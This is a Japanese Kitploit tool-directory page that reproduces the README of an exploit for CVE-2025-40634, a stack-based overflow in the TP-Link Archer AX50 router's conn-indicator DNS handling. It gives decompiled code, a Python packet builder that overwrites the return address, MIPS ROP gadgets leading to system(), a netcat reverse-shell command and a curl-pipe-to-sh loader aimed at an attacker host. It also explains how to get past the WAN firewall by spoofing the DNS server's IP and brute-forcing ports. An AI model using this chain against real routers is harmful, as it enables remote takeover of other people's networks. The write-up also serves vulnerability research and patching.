Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2025-40634 — TP-Link Archer AX50ルーターのconn-indicatorバイナリで見つかったスタックベースのバッファオーバーフローのエクスプロイト | Kitploit
ツール/GitHubGitHub/hacefresko/cve-2025-40634
組み込みシステムセキュリティIoTセキュリティエクスプロイトファジングペネトレーションテストハードウェアセキュリティリモートアクセスツールバイナリエクスプロイト
GitHubhacefresko/cve-2025-40634

CVE-2025-40634

TP-Link Archer AX50ルーターのconn-indicatorバイナリで見つかったスタックベースのバッファオーバーフローのエクスプロイト

リポジトリを見る
318310ヶ月前Kitploit レビュー済み

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2025-40634

TP-Link Archer AX50 ルーターは、ファームウェアバージョン 1.0.14 Build 20240108 rel.42655(4555) においてスタックベースのバッファオーバーフローの脆弱性があり、LAN および WAN 側の両方でリモートコード実行につながります。この脆弱性は、Flashback チームが発見し、彼らのビデオシリーズで詳しく説明されている CVE-2020-10881 と同じ根本原因を持っています(参考文献を参照)。ただし、悪用プロセスは多少異なるため、新しいエクスプロイトを作成する必要がありました。

根本原因

この脆弱性は、conn-indicator バイナリで発生します。このバイナリは、ルーターがインターネットに接続されているかを確認するため、定期的に DNS クエリを送信し、32000 から 61000 の間のランダムな UDP ポートで応答を待ち受ける役割を担っています。

これらの DNS 応答パケットを受信し最初に処理する関数は TPDns_RecvAndResolve() (0x00405e3c に位置) です。recvfrom でパケットを受信すると、サイズ 2960 バイトの buf に格納されます。その後、リターンコードが正しいか (RCODE == 0) を確認し、パケット内の質問数と回答数 (QDCOUNT と ANCOUNT) をチェックします。回答を処理するために process_resolved_IP() を呼び出し、buf へのポインタ、buf 内の回答の開始位置を指す answer_ptr、回答数 (ANCOUNT)、およびその他のフラグを渡します。

root@kitploit:~
undefined4 * TPDns_RecvAndResolve(int socket,void *param_2,int param_3){
  
  [...]
  
  byte buf [2960];
  
  [...]
  
      while( true ) {
        recv_bytes = recvfrom(socket,buf + total_recv_bytes,0xb90 - total_recv_bytes,0,&sStack_50,
                              local_38);
        piVar2 = __errno_location();
        if (recv_bytes == 0) goto RECV_ERROR;
        if (recv_bytes < 0) break;
        total_recv_bytes = total_recv_bytes + recv_bytes;
        if (2959 < total_recv_bytes) goto PROCESS_DNS_RESP;
      }

  [...]

                    /* Check that ANCOUNT is not 0 (answer contains at least one domain) */
          puVar5 = (undefined4 *)0x0;
          if (buf._6_2_ != 0) {
            local_40 = 0;
            puVar5 = process_resolved_IP(buf,answer_ptr,(uint)buf._6_2_,&local_3c,&local_40);
            answer_ptr = answer_ptr + local_40;
          }

  [...]

関数 process_resolved_IP() (0x00405818 に位置) は各回答を走査し、それぞれに対して DNS_answer_parser() を呼び出します。引数として、buf への同じポインタ、buf 内の現在解析中の回答を指す answer、およびサイズ 256 のバッファ current_answer へのポインタを渡します。

root@kitploit:~
undefined4 * process_resolved_IP(byte *buf,byte *answer_ptr,uint ANCOUNT,undefined4 *param_4,int *param_5){
  
  [...]
  
  byte current_answer [256];
  ushort answer_flags [5];
  
  i = 0;
  puVar9 = (undefined4 *)0x0;
  puVar7 = (undefined4 *)0x0;
  answer = answer_ptr;
  do {
                    /* Check if all answers have been parsed already */
    if (i == ANCOUNT) {
      if (param_4 != (undefined4 *)0x0) {
        *param_4 = puVar7;
      }
      if (param_5 != (int *)0x0) {
        *param_5 = (int)answer - (int)answer_ptr;
      }
      return puVar9;
    }
    bytes_processed = DNS_answer_parser(buf,answer,current_answer,1);
    memcpy(answer_flags,answer + bytes_processed,10);
    uVar1 = answer_flags._4_4_;
    bytes_processed = bytes_processed + 10;
    uVar6 = (uint)answer_flags[4];
    uVar8 = (uint)answer_flags[0];
    if (uVar8 == 2) {
LAB_00405924:
      DNS_answer_parser(buf,answer + bytes_processed,abStack_240,1);
    }
    else if (uVar8 < 3) {
      pbVar2 = answer + bytes_processed;
      if (uVar8 == 1) {
        sprintf((char *)abStack_240,"%u.%u.%u.%u",(uint)*pbVar2,(uint)pbVar2[1],(uint)pbVar2[2],
                (uint)pbVar2[3]);
      }
    }
    else {
      if (uVar8 == 5) goto LAB_00405924;
      if (uVar8 == 0x1c) {
        inet_ntop(10,answer,(char *)abStack_240,0xff);
      }
    }
    answer = answer + bytes_processed + uVar6;
  
  [...]

    i = i + 1;
  } while( true );
}

関数 DNS_answer_parser() (0x004054e0 に位置) は各回答を個別に解析します。回答は <長さ><ドメイン><長さ><ドメイン>... という形式のドメイン名で構成されています。例えば example.com は 7example3com と表現されます。この関数は、回答のドメイン名を構成する <長さ><ドメイン> の各ペアをループし、<長さ> が 63 未満であること (domain_name & 0xc0 != 0) をチェックします。次に memcpy を呼び出し、answer の <長さ> バイト分 ( <ドメイン> に対応) を current_answer にコピーします。ドメイン名内の次の <長さ><ドメイン> ペアについてもこの処理を繰り返します。

root@kitploit:~
int DNS_answer_parser(byte *buf,byte *answer,byte *current_answer,int flag){
  int iVar1;
  uint __n;
  int iVar2;
  uint uVar3;
  ushort flag_and_offset;
  byte domain_name;
  
  iVar2 = 0;
  do {
    domain_name = *answer;
    __n = (uint)domain_name;
    iVar1 = 1;
    if (__n == 0) {
      *current_answer = 0;
LAB_004055b0:
      return iVar2 + iVar1;
    }
                    /* Check if compression mode is used */
    if ((domain_name & 0xc0) != 0) {
      flag_and_offset = CONCAT11(domain_name,answer[1]);
      DNS_answer_parser(buf,buf + (flag_and_offset & 0x3fff),current_answer,flag);
      iVar1 = 2;
      goto LAB_004055b0;
    }
    uVar3 = __n + 1;
    if (flag == 0) {
      *current_answer = '.';
      memcpy(current_answer + 1,answer + 1,__n);
      __n = uVar3;
    }
    else {
      memcpy(current_answer,answer + 1,__n);
    }
    answer = answer + uVar3;
    current_answer = current_answer + __n;
    iVar2 = iVar2 + uVar3;
    flag = 0;
  } while( true );
}

current_answer は 256 バイトしかないため、攻撃者はバッファをオーバーフローさせるのに十分な大きさのドメイン名を含む回答をパケットで送信することが可能です。

悪用方法

悪用プロセスは、Flashback チームが CVE-2020-10881 についてビデオシリーズで説明したものと非常に似ています(参考文献を参照)。ただし、いくつかの重要な違いがあります。

  1. アドレスが同じではない
  2. コードが完全に同じではないため、オフセットや一部の時点でのスタックサイズも同一ではない
  3. 1 つ目と 3 つ目の ROP ガジェットは同じ(異なるアドレスに位置)ですが、2 つ目のガジェットは move 命令が異なります。memcpy() の count 引数として $a2 に移動されるレジスタが、$s0 ではなく $s1 になっています。
  4. process_resolved_IP() 内の変数 i が $s8 ではなく $s5 にロードされます。その後 $v1 と比較される際に、$v1 は $sp+616 から取得されます。この位置はオーバーフローしたバッファから非常に離れているため、回答とコマンドからさらにスタックを破損させる必要がありました。
  5. ファイルシステムは /tmp 以外は読み取り専用であるため、すべての書き込みと読み取りは で行う必要があります。これにより、リバースシェルを 62 文字未満にすることが不可能になるため、ターゲットにデプロイするには、Web サーバーから提供し、ダウンロードして実行するコマンドをターゲットに送信する必要があります。

以上の点を踏まえて、全プロセスを説明します。

conn-indicator バイナリは NX が有効で、ASLR は自身以外のすべてに適用されています。

root@kitploit:~
root@Archer_AX50:/proc/6541# cat maps
00400000-0040f000 r-xp 00000000 1f:0a 1430       /usr/sbin/conn-indicator
0041e000-0041f000 rw-p 0000e000 1f:0a 1430       /usr/sbin/conn-indicator
0041f000-00433000 rw-p 00000000 00:00 0          [heap]
778c2000-778d8000 r-xp 00000000 1f:0a 4681       /lib/libm-0.9.33.2.so
778d8000-778e7000 ---p 00000000 00:00 0
778e7000-778e8000 rw-p 00015000 1f:0a 4681       /lib/libm-0.9.33.2.so
778e8000-778fa000 r-xp 00000000 1f:0a 2506       /usr/lib/libz.so.1.2.7
778fa000-7790a000 ---p 00000000 00:00 0
7790a000-7790b000 rw-p 00012000 1f:0a 2506       /usr/lib/libz.so.1.2.7
7790b000-77a2b000 r-xp 00000000 1f:0a 2509       /usr/lib/libxml2.so.2.7.8
77a2b000-77a3a000 ---p 00000000 00:00 0
77a3a000-77a40000 rw-p 0011f000 1f:0a 2509       /usr/lib/libxml2.so.2.7.8
77a40000-77a46000 r-xp 00000000 1f:0a 2496       /usr/lib/libjson.so.0.0.1
77a46000-77a55000 ---p 00000000 00:00 0
77a55000-77a56000 rw-p 00005000 1f:0a 2496       /usr/lib/libjson.so.0.0.1
77a56000-77aac000 r-xp 00000000 1f:0a 4804       /lib/libuClibc-0.9.33.2.so
77aac000-77abb000 ---p 00000000 00:00 0
77abb000-77abc000 r--p 00055000 1f:0a 4804       /lib/libuClibc-0.9.33.2.so
77abc000-77abd000 rw-p 00056000 1f:0a 4804       /lib/libuClibc-0.9.33.2.so
77abd000-77ac2000 rw-p 00000000 00:00 0
77ac2000-77ad6000 r-xp 00000000 1f:0a 4872       /lib/libgcc_s.so.1
77ad6000-77ae5000 ---p 00000000 00:00 0
77ae5000-77ae6000 rw-p 00013000 1f:0a 4872       /lib/libgcc_s.so.1
77ae6000-77aef000 r-xp 00000000 1f:0a 4893       /lib/libuci.so
77aef000-77afe000 ---p 00000000 00:00 0
77afe000-77aff000 rw-p 00008000 1f:0a 4893       /lib/libuci.so
77aff000-77b01000 r-xp 00000000 1f:0a 4711       /lib/libblobmsg_json.so
77b01000-77b10000 ---p 00000000 00:00 0
77b10000-77b11000 rw-p 00001000 1f:0a 4711       /lib/libblobmsg_json.so
77b11000-77b15000 r-xp 00000000 1f:0a 4709       /lib/libubus.so
77b15000-77b24000 ---p 00000000 00:00 0
77b24000-77b25000 rw-p 00003000 1f:0a 4709       /lib/libubus.so
77b25000-77b2e000 r-xp 00000000 1f:0a 4714       /lib/libubox.so
77b2e000-77b3d000 ---p 00000000 00:00 0
77b3d000-77b3e000 rw-p 00008000 1f:0a 4714       /lib/libubox.so
77b3e000-77b41000 r-xp 00000000 1f:0a 4903       /lib/libdl-0.9.33.2.so
77b41000-77b50000 ---p 00000000 00:00 0
77b50000-77b51000 r--p 00002000 1f:0a 4903       /lib/libdl-0.9.33.2.so
77b51000-77b52000 rw-p 00003000 1f:0a 4903       /lib/libdl-0.9.33.2.so
77b52000-77b59000 r-xp 00000000 1f:0a 4837       /lib/ld-uClibc-0.9.33.2.so
77b65000-77b68000 rw-p 00000000 00:00 0
77b68000-77b69000 r--p 00006000 1f:0a 4837       /lib/ld-uClibc-0.9.33.2.so
77b69000-77b6a000 rw-p 00007000 1f:0a 4837       /lib/ld-uClibc-0.9.33.2.so
7fa04000-7fa25000 rw-p 00000000 00:00 0          [stack]
7ffff000-80000000 r-xp 00000000 00:00 0          [vdso]
root@Archer_AX50:/proc/6541# exploit

したがって、この脆弱性を悪用する戦略は、system() を目的のコマンドで実行できるように ROP チェーンを構築することです。

バッファをオーバーフローさせて $ra レジスタを破損するには、攻撃者は十分に大きなドメイン名を含む回答を持つ DNS 応答を送信する必要があります。DNS ヘッダーに関しては、RCODE が 0 で ANCOUNT が 1 であることだけが必要です。パケットには 1 つの回答のみを含めればよいからです。例として、次のパケットは $ra レジスタを 0x50505050 で破損します。

root@kitploit:~
# len of each domain name must be less than 63
DOMAIN_LEN = 0x3f

TXID = [0, 0]
FLAGS = [0, 0]
QDCOUNT = [0, 0]
ANCOUNT = [0, 1]
NSCOUNT = [0, 0]
ARCOUNT = [0, 0]

# DNS response header
packet = []
packet += TXID
packet += FLAGS
packet += QDCOUNT
packet += ANCOUNT
packet += NSCOUNT
packet += ARCOUNT

# 4 domain names with length DOMAIN_LEN to fill up the buffer
for i in range (0,4):
    packet += [DOMAIN_LEN]
    for j in range(0, DOMAIN_LEN):
        packet += [0x41]

# Domain name to fill up remaining variables
packet += [0x17]
packet += [0x41] * 23

# Domain name to corrupt the stack
packet += [0x28]
packet += struct.pack(">I", 0x30303030) # s0
packet += struct.pack(">I", 0x31313131) # s1
packet += struct.pack(">I", 0x32323232) # s2
packet += struct.pack(">I", 0x33333333) # s3
packet += struct.pack(">I", 0x34343434) # s4
packet += struct.pack(">I", 0x35353535) # s5
packet += struct.pack(">I", 0x36363636) # s6
packet += struct.pack(">I", 0x37373737) # s7
packet += struct.pack(">I", 0x38383838) # s8
packet += struct.pack(">I", 0x50505050) # ra
packet += [0]

バイナリのアドレスは実行ごとに常に同じであり、書き込み可能な領域があるため、実行するコマンドをその領域にコピーし、system() を呼び出す計画を立てます。そのために、次の ROP チェーンを使用します。

  1. このガジェットは memcpy() の引数を準備します。次のガジェットのアドレスが $ra にロードされます。次に、$s2 が $v0 に移動されます。$s2 にはコマンドをコピーする先のバイナリの書き込み可能領域のアドレスが含まれており、これが memcpy() の dest 引数になります。そして、memcpy の count 引数が、制御可能なスタックアドレスから $s1 にロードされます。最後に、次のガジェットにジャンプします。
root@kitploit:~
00402700  lw      ra, 0x2c(sp)
00402704  move    v0, s2
00402708  lw      s2, 0x28(sp)
0040270c  lw      s1, 0x24(sp)
00402710  lw      s0, 0x20(sp)
00402714  jr      ra
00402718  addiu   sp, sp, 0x30
  1. このガジェットは memcpy() の引数を引き続き準備し、それを呼び出します。memcpy() の dest 引数(バイナリの書き込み可能領域に対応)は $v0 にあり、$a0 にロードされて memcpy() の最初のパラメータとなります。実行のこの時点で、$a1 は DNS 応答パケット内の回答の末尾を指しており、そこにコマンド文字列を配置しているため、src パラメータを準備する必要はありません。次に、前のガジェットでロードされた count パラメータを含む $s1 が $a2 に移動され、memcpy() の 3 番目のパラメータとなります。最後に memcpy() が呼び出され、コマンド文字列がバイナリの書き込み可能領域にコピーされます。このガジェットは process_resolved_IP() の末尾に位置するため、実行はその関数内で続行されます。関数が正常にリターンできるように、スタックを適切に整える必要があります。そのために、この関数のスタックや一部のレジスタからロードされる変数(、、、 など)をペイロード内に注意深く配置します。リターン時に、 のアドレスが再びスタックから取得され、そこに次のガジェットのアドレスを配置してジャンプします。
root@kitploit:~
00405a98  move    a0, v0
00405a9c  jal     <EXTERNAL>:memcpy
00405aa0  _move   a2, s1

[...]
  1. このガジェットは system() の引数を準備し、それを呼び出します。実行のこの時点で、$v0 は $s3 の値を含んでいます。$s3 には、現在コマンドが格納されているバイナリの書き込み可能領域のアドレスを配置しています。そのため、$v0 は $a0 に移動されます。次に、バイナリにインポートされている system() のアドレスがスタックから $ra に配置され、system() が呼び出されてコード実行が達成されます。
root@kitploit:~
004065e8  move    a0, v0
004065ec  clear   v0
004065f0  lw      ra, 0x1c(sp)
004065f4  jr      ra

ターゲットで実行するリバースシェル(busybox が動作)は次のとおりです。

root@kitploit:~
rm -f /tmp/f; mknod /tmp/f p; cat /tmp/f | /bin/sh -i 2>&1 | nc <attacker> <port> >/tmp/f

ただし、実行するコマンドは 62 文字未満でなければならず、ファイルシステムは /tmp にしか書き込めないため、リバースシェルを直接実行することは不可能でした。代わりに、ローダー curl http://<attacker>:<port>/ | sh が実行され、攻撃者からリバースシェルを取得します。

残るは conn-indicator がリッスンしているポートをブルートフォースするだけです。これは簡単に自動化できます。

ここまでは、このエクスプロイトは LAN 側でのみ動作します。WAN 側はファイアウォールで保護されているためです。ただし、この制限を回避する方法があります。conn-indicator が DNS 応答を受信できるようにするため、ファイアウォールはバイナリが送信した DNS クエリと同じ IP から来るパケット、つまりターゲットルーターが使用している DNS からのパケットを許可します。したがって、ファイアウォールを回避するには、DNS サーバーからのなりすましパケットを送信すれば十分です。ターゲットがローカルネットワーク内にある場合は、おそらく 192.168.0.1、192.168.1.1、10.0.0.1 のような IP になり、ターゲットが直接インターネットに接続されている場合は、8.8.8.8、1.1.1.1 またはその他の一般的な DNS サーバーになるでしょう。

完全に機能するエクスプロイトは LAN と WAN の両方で動作します。LAN モードは 32000 から 61000 までのすべてのポートをブルートフォースし、WAN モードは同じポート範囲と、SPOOF_LIST に保存されているすべての可能性のある DNS IP をブルートフォースします。このリストは、攻撃者のターゲットに関する知識に基づいて編集する必要がありますが、十分な時間(数分)があれば、90% のケースをカバーできるはずです。

参考文献

  • TP-Link Archer AX50 公式ページ
  • Flashback Team - DNS Remote Code Execution: Finding the Vulnerability 👾 (Part 1)
  • Flashback Team - DNS Remote Code Execution: Writing the Exploit 💣 (Part 2)
ツールをダウンロード
/tmp
ANCOUNT
param_4
param_5
i
$ra